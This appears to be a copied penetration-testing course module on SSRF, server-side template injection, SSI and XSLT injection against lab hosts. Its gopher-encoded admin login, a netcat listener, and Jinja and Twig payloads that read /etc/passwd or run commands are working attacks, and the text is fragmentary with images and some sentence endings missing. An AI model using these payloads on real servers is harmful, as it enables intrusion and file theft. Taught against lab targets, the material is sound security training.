12. Server-side Attacks
12. Server-side Attacks
Server-side Attacks
Introduction to Server-side Attacks
Server-side attacks target the application or service provided by a server, whereas a client-
side attack takes place at the client's machine, not the server itself. Understanding and
identifying the differences is essential for penetration testing and bug bounty hunting.
For instance, vulnerabilities like Cross-Site Scripting (XSS) target the web browser, i.e., the
client. On the other hand, server-side attacks target the web server. In this module, we will
discuss four classes of server-side vulnerabilities:
Introduction to SSRF
SSRF vulnerabilities are part of OWASPs Top 10. This type of vulnerability occurs when a
web application fetches additional resources from a remote location based on user-supplied
data, such as a URL.
For more details on advanced SSRF exploitation techniques, such as filter bypasses and
DNS rebinding, check out the Modern Web Exploitation Techniques module.
Identifying SSRF
After discussing the basics of SSRF vulnerabilities, let us jump right into an example web
application.
Confirming SSRF
Looking at the web application, we are greeted with some generic text as well as
functionality to schedule appointments:
After checking the availability of a date, we can observe the following request in Burp:
As we can see, the request contains our chosen date and a URL in the parameter
dateserver .
https://t.me/offenciveSec
We can use the SSRF vulnerability to conduct a port scan of the system to enumerate
running services. To achieve this, we need to be able to infer whether a port is open or not
from the response to our SSRF payload. If we supply a port that we assume is closed (such
as 81 ), the response contains an error message:
This
Accessing Restricted Endpoints
As we have seen, the web application fetches availability information from the URL
dateserver.htb . However, when we add this domain to our hosts file and attempt to
access it, we are unable to do so:
However, we can access and enumerate the domain through the SSRF vulnerability. For
instance, we can conduct a directory brute-force attack to enumerate additional endpoints
using ffuf . To do so, let us first determine the web server's response when we access a
non-existing page:
As we can see, the web server responds with the default Apache 404 response. To also filter
out any HTTP 403 responses, we will filter our results based on the string Server at
dateserver.htb Port 80 , which is contained in default Apache error pages. Since the web
application runs PHP, we will specify the .php extension:
ffuf -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt -u
http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-
form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-
01-01" -fr "Server at dateserver.htb Port 80"
<SNIP>
[Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 3872ms]
* FUZZ: admin
[Status: 200, Size: 11, Words: 1, Lines: 1, Duration: 6ms]
* FUZZ: availability
We have successfully identified an additional internal endpoint that we can now access
through the SSRF vulnerability by specifying the URL http://dateserver.htb/admin.php
in the dateserver POST parameter to potentially access sensitive admin information.
We can use this to read arbitrary files on the filesystem, including the web application's
source code. For more details about exploiting LFI vulnerabilities, check out the File
Inclusion module.
Instead, we can use the gopher URL scheme to send arbitrary bytes to a TCP socket. This
protocol enables us to create a POST request by building the HTTP request ourselves.
Assuming we want to try common weak passwords, such as admin , we can send the
following POST request:
adminpw=admin
We need to URL-encode all special characters to construct a valid gopher URL from this. In
particular, spaces ( %20 ) and newlines ( %0D%0A ) must be URL-encoded. Afterward, we
need to prefix the data with the gopher URL scheme, the target host and port, and an
underscore, resulting in the following gopher URL:
gopher://dateserver.htb:80/_POST%20/admin.php%20HTTP%2F1.1%0D%0AHost:%20da
teserver.htb%0D%0AContent-Length:%2013%0D%0AContent-Type:%20application/x-
www-form-urlencoded%0D%0A%0D%0Aadminpw%3Dadmin
Our specified bytes are sent to the target when the web application processes this URL.
Since we carefully chose the bytes to represent a valid POST request, the internal web
server accepts our POST request and responds accordingly. However, since we are sending
our URL within the HTTP POST parameter dateserver , which itself is URL-encoded, we
need to URL-encode the entire URL again to ensure the correct format of the URL after the
web server accepts it. Otherwise, we will get a Malformed URL error. After URL encoding
the entire gopher URL one more time, we can finally send the following request:
dateserver=gopher%3a//dateserver.htb%3a80/_POST%2520/admin.php%2520HTTP%25
2F1.1%250D%250AHost%3a%2520dateserver.htb%250D%250AContent-
Length%3a%252013%250D%250AContent-Type%3a%2520application/x-www-form-
urlencoded%250D%250A%250D%250Aadminpw%253Dadmin&date=2024-01-01
As we can see, the internal admin endpoint accepts our provided password, and we can
access the admin dashboard:
We can use the gopher protocol to interact with many internal services, not just HTTP
servers. Imagine a scenario where we identify, through an SSRF vulnerability, that TCP port
25 is open locally. This is the standard port for SMTP servers. We can use Gopher to interact
with this internal SMTP server as well. However, constructing syntactically and semantically
correct gopher URLs can take time and effort. Thus, we will utilize the tool Gopherus to
generate gopher URLs for us. The following services are supported:
MySQL
PostgreSQL
FastCGI
Redis
SMTP
Zabbix
pymemcache
rbmemcache
phpmemcache
dmpmemcache
To run the tool, we need a valid Python2 installation. Afterward, we can run the tool by
executing the Python script downloaded from the GitHub repository:
python2.7 gopherus.py
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
optional arguments:
-h, --help show this help message and exit
--exploit EXPLOIT mysql, postgresql, fastcgi, redis, smtp, zabbix,
pymemcache, rbmemcache, phpmemcache, dmpmemcache
Let us generate a valid SMTP URL by supplying the corresponding argument. The tool asks
us to input details about the email we intend to send. Afterward, we are given a valid gopher
URL that we can use in our SSRF exploitation:
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
-----------Made-by-SpyD3r-----------
Blind SSRF
In many real-world SSRF vulnerabilities, the response is not directly displayed to us. These
instances are called blind SSRF vulnerabilities because we cannot see the response. As
such, all of the exploitation vectors discussed in the previous sections are unavailable to us
because they all rely on us being able to inspect the response. Therefore, the impact of blind
SSRF vulnerabilities is generally significantly lower due to the severely restricted exploitation
vectors.
nc -lnvp 8000
However, if we attempt to point the web application to itself, we can observe that the
response does not contain the HTML response of the coerced request; instead, it simply lets
us know that the date is unavailable. Therefore, this is a blind SSRF vulnerability:
Exploiting Blind SSRF
Exploiting blind SSRF vulnerabilities is generally severely limited compared to non-blind
SSRF vulnerabilities.
Preventing SSRF
After discussing identifying and exploiting SSRF vulnerabilities, we will dive into SSRF
prevention and mitigation techniques.
Prevention
Mitigations and countermeasures against SSRF vulnerabilities can be implemented at the
web application or network layers. If the web application fetches data from a remote host
based on user input, proper security measures to prevent SSRF scenarios are crucial.
The remote origin data is fetched from should be checked against a whitelist to prevent an
attacker from coercing the server to make requests against arbitrary origins.
pages. A template can dynamically add content but keep the header and footer the
same.
The template contains a for-loop that loops over all elements in a variable names . As
such, we need to provide the rendering function with an object in the names variable that it
can iterate over. For instance, if we pass the function with a list such as names=["vautia",
"21y4d", "Pedant"] , the template engine will generate the following string:
Introduction to SSTI
As the name suggests, Server-side Template Injection (SSTI) occurs when an attacker can
inject templating code into a template that is later rendered by the server. If an attacker
injects malicious code, the server potentially executes the code during the rendering
process, enabling an attacker to take over the server completely.
Confirming SSTI
The process of identifying an SSTI vulnerability is similar to the process of identifying any
other injection vulnerability, such as SQL injection. The most effective way is to inject special
characters with semantic meaning in template engines and observe the web application's
behavior. As such, the following test string is commonly used to provoke an error message in
a web application vulnerable to SSTI, as it consists of all special characters that have a
particular semantic purpose in popular template engines:
${{<%[%'"}}%\.
Since the above test string should almost certainly violate the template syntax, it should
result in an error if the web application is vulnerable to SSTI. This behavior is similar to how
injecting a single quote ( ' ) into a web application vulnerable to SQL injection can break an
SQL query's syntax and thus result in an SQL error.
As a practical example, let us look at our sample web application. We can insert a name,
which is then reflected on the following page:
To test for an SSTI vulnerability, we can inject the above test string. This results in the
following response from the web application:
As we can see, the web application throws an error. While this does not confirm that the web
application is vulnerable to SSTI, it should increase our suspicion that the parameter might
be vulnerable.
Identifying the Template Engine
To enable the successful exploitation of an SSTI vulnerability, we first need to determine the
template engine used by the web application. We can utilize slight variations in the behavior
of different template engines to achieve this. For instance, consider the following commonly
used overview containing slight differences in popular template engines:
We will start by injecting the payload ${7*7} and follow the diagram from left to right,
depending on the result of the injection. Suppose the injection resulted in a successful
execution of the injected payload. In that case, we follow the green arrow; otherwise, we
follow the red arrow until we arrive at a resulting template engine.
Injecting the payload ${7*7} into our sample web application results in the following
behavior:
Since the injected payload was not executed, we follow the red arrow and now inject the
payload {{7*7}} :
This time, the payload was executed by the template engine. Therefore, we follow the green
arrow and inject the payload {{7*'7'}} . The result will enable us to deduce the template
engine used by the web application. In Jinja, the result will be 7777777 , while in Twig, the
result will be 49 .
Now that we have seen how to identify the template engine used by a web application
vulnerable to SSTI, we will move on to the exploitation of SSTI. In this section, we will
assume that we have successfully identified that the web application uses the Jinja
template engine. We will only focus on the SSTI exploitation and thus assume that the SSTI
confirmation and template engine identification have already been done in a previous step.
Jinja is a template engine commonly used in Python web frameworks such as Flask or
Django . This section will focus on a Flask web application. The payloads in other web
frameworks might thus be slightly different.
In our payload, we can freely use any libraries that are already imported by the Python
application, either directly or indirectly. Additionally, we may be able to import additional
libraries through the use of the import statement.
Information Disclosure
We can exploit the SSTI vulnerability to obtain internal information about the web application,
including configuration details and the web application's source code. For instance, we can
obtain the web application's configuration using the following SSTI payload:
{{ config.items() }}
Since this payload dumps the entire web application configuration, including any used secret
keys, we can prepare further attacks using the obtained information. We can also execute
Python code to obtain information about the web application's source code. We can use the
following SSTI payload to dump all available built-in functions:
{{ self.__init__.__globals__.__builtins__ }}
{{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }}
Remote Code Execution (RCE)
To achieve remote code execution in Python, we can use functions provided by the os
library, such as system or popen . However, if the web application has not already imported
this library, we must first import it by calling the built-in function import . This results in the
following SSTI payload:
{{
self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()
}}
Exploiting SSTI - Twig
In this section, we will explore another example of SSTI exploitation. In the previous section,
we discussed exploiting SSTI in the Jinja template engine. This section will discuss
exploiting SSTI in the Twig template engine. Like in the previous section, we will only focus
on the SSTI exploitation and thus assume that the SSTI confirmation and template engine
identification have already been done in a previous step. Twig is a template engine for the
PHP programming language.
Information Disclosure
In Twig, we can use the _self keyword to obtain a little information about the current
template:
{{ _self }}
However, as we can see, the amount of information is limited compared to Jinja .
{{ "/etc/passwd"|file_excerpt(1,-1) }}
Remote Code Execution (RCE)
To achieve remote code execution, we can use a PHP built-in function such as system . We
can pass an argument to this function by using Twig's filter function, resulting in any of
the following SSTI payloads:
{{ ['id'] | filter('system') }}
Further Remarks
This module explored exploiting SSTI in the Jinja and Twig template engines. As we have
seen, the syntax of each template engine is slightly different. However, the general idea
behind SSTI exploitation remains the same. Therefore, exploiting an SSTI in a template
engine the attacker is unfamiliar with is often as simple as becoming familiar with the syntax
and supported features of that particular template engine. An attacker can achieve this by
reading the template engine's documentation. However, there are also SSTI cheat sheets
that bundle payloads for popular template engines, such as the PayloadsAllTheThings SSTI
CheatSheet.
This section will showcase tools that can help us identify and exploit SSTI vulnerabilities.
Furthermore, we will briefly explore how to prevent these vulnerabilities.
cd SSTImap
python3 sstimap.py
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.2.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior
mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state,
and federal laws.
Developers assume no liability and are not responsible for any misuse or
damage caused by this program
[*] Loaded plugins by categories: languages: 5; engines: 17;
legacy_engines: 2
[*] Loaded request body types: 4
[-] SSTImap requires target URL (-u, --url), URLs/forms file (--load-urls
/ --load-forms) or interactive mode (-i, --interactive)
To automatically identify any SSTI vulnerabilities as well as the template engine used by the
web application, we need to provide SSTImap with the target URL:
<SNIP>
As we can see, SSTImap confirms the SSTI vulnerability and successfully identifies the
Twig template engine. It also provides capabilities we can use during exploitation. For
instance, we can download a remote file to our local machine using the -D flag:
<SNIP>
<SNIP>
<SNIP>
Linux $ whoami
www-data
Prevention
To prevent SSTI vulnerabilities, we must ensure that user input is never fed into the call to
the template engine's rendering function in the template parameter.
printenv
This directive prints environment variables. It does not take any variables.
config
This directive changes the SSI configuration by specifying corresponding parameters. For
instance, it can be used to change the error message using the errmsg parameter:
echo
This directive prints the value of any variable given in the var parameter. Multiple variables
can be printed by specifying multiple var parameters. For instance, the following variables
are supported:
exec
This directive executes the command given in the cmd parameter:
include
This directive includes the file specified in the virtual parameter.
SSI Injection
SSI injection occurs when an attacker can inject SSI directives into a file that is subsequently
served by the web server, resulting in
We can guess that the
The server successfully executed our injected command.
eXtensible Stylesheet Language Transformation (XSLT) is a language enabling the
transformation of XML documents. For instance, it can select specific nodes from an XML
document and change the XML structure.
XSLT can be used to define a data format which is subsequently enriched with data from the
XML document. XSLT data is structured similarly to XML. However, it contains XSL elements
within nodes prefixed with the xsl -prefix. The following are some commonly used XSL
elements:
For instance, a simple XSLT document used to output all fruits contained within the XML
document as well as their color, may look like this:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all the fruits:
<xsl:for-each select="fruit">
<xsl:value-of select="name"/> (<xsl:value-of
select="color"/>)
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
As we can see, the XSLT document contains a single <xsl:template> XSL element that is
applied to the <fruits> node in the XML document. The template consists of the static
string Here are all the fruits: and a loop over all <fruit> nodes in the XML
document. For each of these nodes, the values of the <name> and <color> nodes are
printed using the <xsl:value-of> XSL element. Combining the sample XML document with
the above XSLT data results in the following output:
Here are some additional XSL elements that can be used to narrow down further or
customize the data from an XML document:
<xsl:sort> : This element specifies how to sort elements in a for loop in the select
argument. Additionally, a sort order may be specified in the order argument
<xsl:if> : This element can be used to test for conditions on a node. The condition is
specified in the test argument.
For instance, we can use these XSL elements to create a list of all fruits that are of a
medium size ordered by their color in descending order:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Here are all fruits of medium size ordered by their color:
<xsl:for-each select="fruit">
<xsl:sort select="color" order="descending" />
<xsl:if test="size = 'Medium'">
<xsl:value-of select="name"/> (<xsl:value-
of select="color"/>)
</xsl:if>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
XSLT can be used to generate arbitrary output strings. For instance, web applications may
use it to embed data from XML documents within an HTML response.
XSLT Injection
As the name suggests, XSLT injection occurs whenever user input is inserted into XSL data
before output generation by the XSLT processor. This enables an attacker to inject additional
XSL elements into the XSL data, which the XSLT processor will execute during output
generation.
After discussing some basics and use cases for XSLT, let us dive into exploiting XSLT
injection vulnerabilities.
As we can see, the name we provide is reflected on the page. Suppose the web application
stores the module information in an XML document and displays the data using XSLT
processing. In that case, it might suffer from XSLT injection if our name is inserted without
sanitization before XSLT processing. To confirm that, let us try to inject a broken XML tag to
try to provoke an error in the web application. We can achieve this by providing the
username < :
As we can see, the web application responds with a server error. While this does not confirm
that an XSLT injection vulnerability is present, it might indicate the presence of a security
issue.
Information Disclosure
We can try to infer some basic information about the XSLT processor in use by injecting the
following XSLT elements:
However, it was only introduced in XSLT version 2.0. Thus, our sample web application does
not support this function and instead errors out. However, if the XSLT library is configured to
support PHP functions, we can call the PHP function file_get_contents using the
following XSLT element:
Our sample web application is configured to support PHP functions. As such, the local file is
displayed in the response:
Remote Code Execution (RCE)
If an XSLT processor supports PHP functions, we can call a PHP function that executes a
local system command to obtain RCE. For instance, we can call the PHP function system to
execute a command:
After discussing how to identify and exploit XSLT injection vulnerabilities in the previous
sections, we will conclude this module by discussing how to prevent them.
Prevention
Similarly to all injection vulnerabilities discussed in this module, XSLT injection can be
prevented by ensuring that user input is not inserted into XSL data before processing by the
XSLT processor. However, if the output should reflect values provided by the user, user-
provided data might be required to be added to the XSL document before processing. In this
case, it is essential to implement proper sanitization and input validation to avoid XSLT
injection vulnerabilities.